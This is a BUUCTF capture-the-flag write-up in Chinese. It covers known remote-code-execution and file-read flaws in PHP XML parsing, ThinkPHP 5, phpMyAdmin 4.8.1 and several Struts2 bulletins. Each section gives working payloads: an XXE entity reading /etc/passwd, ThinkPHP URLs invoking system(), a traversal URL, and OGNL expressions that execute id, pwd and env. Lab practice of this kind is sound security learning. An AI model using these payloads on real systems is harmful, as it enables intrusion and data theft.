buuctf real writeup

[PHP]XXE

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡

dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>

[ThinkPHP]5-Rce

Thinkphp5 5.0.22/5.1.29远程代码执行漏洞:

1
2
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

通过读取phpinfo,获取到flag!!

[ThinkPHP]5.0.23-Rce

Thinkphp 5.0.23远程代码执行漏洞:

1
2
POST /?s=captcha
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=-1&method=get

通过读取phpinfo,获取到flag!!
关于thinkphp5的漏洞github上有人已经收集并集中在一起了,

附上链接:关于ThinkPHP框架的历史漏洞分析集合

[PHPMYADMIN]CVE-2018-12613

phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)

buuctf的warmup就是这个洞

1
2
payload:
http://node3.buuoj.cn:29957/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

当然这里是无法执行命令的,那么我们也就无法执行phpinfo(),也就无法获取到flag
看github我们可以知道,我们执行SELECT ‘‘;,然后去查看session,

这个时候我们就可以去包含session文件了,这样就会执行session文件中的php代码.

[struts2]s2-013

S2-013 / S2-014远程执行代码漏洞

受影响的版本:2.0.0-2.3.14.1

Struts2的标记<s:a>和<s:url>提供了includeParams属性,该属性的主要作用是了解是否包含http请求参数。

includeParams的允许值为:

无-网址中不包含任何参数(默认)

get-在URL中仅包含GET参数

全部-在网址中同时包含GET和POST参数

如果为includeParams=all,则此请求的GET和POST参数放在URL的GET参数上

在此过程中,参数将由OGNL表达式解析,导致命令执行

payload:

1
2
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

都需要进行url编码进行传递,执行env命令得到flag.

[struts2]s2-001

S2-001远程执行代码漏洞

漏洞在于,当用户提交表单数据且验证失败时,服务器会使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据,例如在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

payload:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

加在post的数据后面.

[struts2]s2-045

S2-045远程执行代码漏洞(CVE-2017-5638)

Apache Struts2的Jakarta Multipart解析器插件中容易出现远程执行代码漏洞

使用此插件上传文件时,攻击者可能会更改HTTP请求的Content-Type标头字段的值以触发此漏洞,从而导致远程执行代码

payload:

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

进行抓包,修改content-Type:

[struts2]s2-007

S2-007远程执行代码漏洞

当 -validation.xml配置的验证规则时

如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串

然后执行OGNL表达式解析并返回

payload:

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
0%